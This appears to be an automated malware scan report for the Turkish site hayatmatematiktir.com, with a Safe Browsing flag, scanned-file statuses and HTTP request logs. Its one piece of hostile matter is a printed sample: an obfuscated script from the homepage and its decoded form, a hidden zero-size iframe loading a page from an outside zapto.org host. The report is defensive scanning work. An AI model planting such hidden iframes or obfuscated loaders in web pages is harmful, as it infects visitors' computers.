Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=hayatmatematiktir.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://hayatmatematiktir.com/ | 200 OK Content-Length: 9528 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var wsqWQBPps = "cNRoPJdqz3ccNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz20cNRoPJdqz73cNRoPJdqz72cNRoPJdqz63cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz68cNRoPJdqz74cNRoPJdqz74cNRoPJdqz70cNRoPJdqz3acNRoPJdqz2fcNRoPJdqz2fcNRoPJdqz70cNRoPJdqz72cNRoPJdqz69cNRoPJdqz76cNRoPJdqz61cNRoPJdqz74cNRoPJdqz65cNRoPJdqz33cNRoPJdqz2ecNRoPJdqz7acNRoPJdqz61cNRoPJdqz70cNRoPJdqz74cNRoPJdqz6fcNRoPJdqz2ecNRoPJdqz6fcNRoPJdqz72cNRoPJdqz67cNRoPJdqz2fcNRoPJdqz62cNRoPJdqz6ccNRoPJdqz6fcNRoPJdqz67cNRoPJdqz2 Decoded script: document.write(unescape(WSxQJgvuB)) document.write(unescape(WSxQJgvuB)) <iframe src="http://private3.zapto.org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&hrytewsfd=9889439&yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe> Antivirus reports:
| ||
http://hayatmatematiktir.com/flashobject.js | 200 OK Content-Length: 9321 Content-Type: application/x-javascript | clean |
http://hayatmatematiktir.com/Scripts/AC_ActiveX.js | 200 OK Content-Length: 2149 Content-Type: application/x-javascript | clean |
http://hayatmatematiktir.com/Scripts/AC_RunActiveContent.js | 200 OK Content-Length: 8321 Content-Type: application/x-javascript | clean |
http://hayatmatematiktir.com/news/ns1js.js | 200 OK Content-Length: 1039 Content-Type: application/x-javascript | clean |
http://hayatmatematiktir.com/proje.asp | 200 OK Content-Length: 5525 Content-Type: text/html | clean |
http://hayatmatematiktir.com/film.asp | 200 OK Content-Length: 6314 Content-Type: text/html | clean |
http://hayatmatematiktir.com/soru_bankasi.asp | 200 OK Content-Length: 6509 Content-Type: text/html | clean |
http://hayatmatematiktir.com/basin.asp | 200 OK Content-Length: 6322 Content-Type: text/html | clean |
http://hayatmatematiktir.com/sinav_duyurulari.asp | 200 OK Content-Length: 6942 Content-Type: text/html | clean |
http://hayatmatematiktir.com/yarisma_oss.asp | 200 OK Content-Length: 5490 Content-Type: text/html | clean |
http://hayatmatematiktir.com/mesaj.asp | 200 OK Content-Length: 6561 Content-Type: text/html | clean |
http://hayatmatematiktir.com/metinler/2004.pdf | 200 OK Content-Length: 173282 Content-Type: application/pdf | clean |
http://hayatmatematiktir.com/test404page.js | 404 Not Found Content-Length: 1098 Content-Type: text/html | clean |
http://hayatmatematiktir.com/metinler/2005.pdf | 200 OK Content-Length: 173736 Content-Type: application/pdf | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: hayatmatematiktir.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 29 Dec 2014 02:11:41 GMT
Server: Microsoft-IIS/6.0
Content-Length: 9528
Content-Type: text/html
MicrosoftOfficeWebServer: 5.0_Pub
Set-Cookie: ASPSESSIONIDACSTCACD=HMHMJDJDDKPEPBHJEFMABIPJ; path=/
X-Powered-By: PleskWin
X-Powered-By: ASP.NET
...9528 bytes of data.
GET / HTTP/1.1
Host: hayatmatematiktir.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 29 Dec 2014 02:11:41 GMT
Server: Microsoft-IIS/6.0
Content-Length: 9528
Content-Type: text/html
MicrosoftOfficeWebServer: 5.0_Pub
Set-Cookie: ASPSESSIONIDACSTCACD=HMHMJDJDDKPEPBHJEFMABIPJ; path=/
X-Powered-By: PleskWin
X-Powered-By: ASP.NET
...9528 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: hayatmatematiktir.com
Referer: http://www.google.com/search?q=hayatmatematiktir.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: hayatmatematiktir.com
Referer: http://www.google.com/search?q=hayatmatematiktir.com
Result:
The result is similar to the first query. There are no suspicious redirects found.